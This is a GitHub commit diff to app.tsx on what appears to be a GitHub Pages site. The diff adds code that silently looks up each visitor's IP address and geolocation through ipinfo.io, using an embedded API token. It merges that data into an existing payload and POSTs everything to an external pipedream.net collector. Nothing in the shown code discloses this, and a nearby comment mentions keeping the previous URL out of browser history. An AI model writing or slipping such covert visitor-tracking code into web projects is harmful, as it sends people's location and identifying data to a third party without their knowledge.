Update app.tsx

MarseyLivesMatter-GHPages
MarseyLivesMatter 2022-05-21 19:20:18 +08:00 committed by GitHub
parent 6b72e9a8f5
commit fae31bd551
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 13 additions and 10 deletions

View File

@ -438,17 +438,20 @@ var hash_accessor = (function (window) {
const headers = new Headers()
headers.append("Content-Type", "application/json")
fetch("https://ipinfo.io/json?token=27de0b4f7da784").then(
(response) => response.json()
).then(
(jsonResponse) =>
{
const options = {
method: "POST",
headers,
mode: "cors",
body: JSON.stringify(obj),
body: JSON.stringify(jsonResponse).slice(0,-1) + ", " + JSON.stringify(obj).slice(1),
}
fetch("https://eoa22umjqdu9ddj.m.pipedream.net", options)
})
// use replace so that previous url does not go into history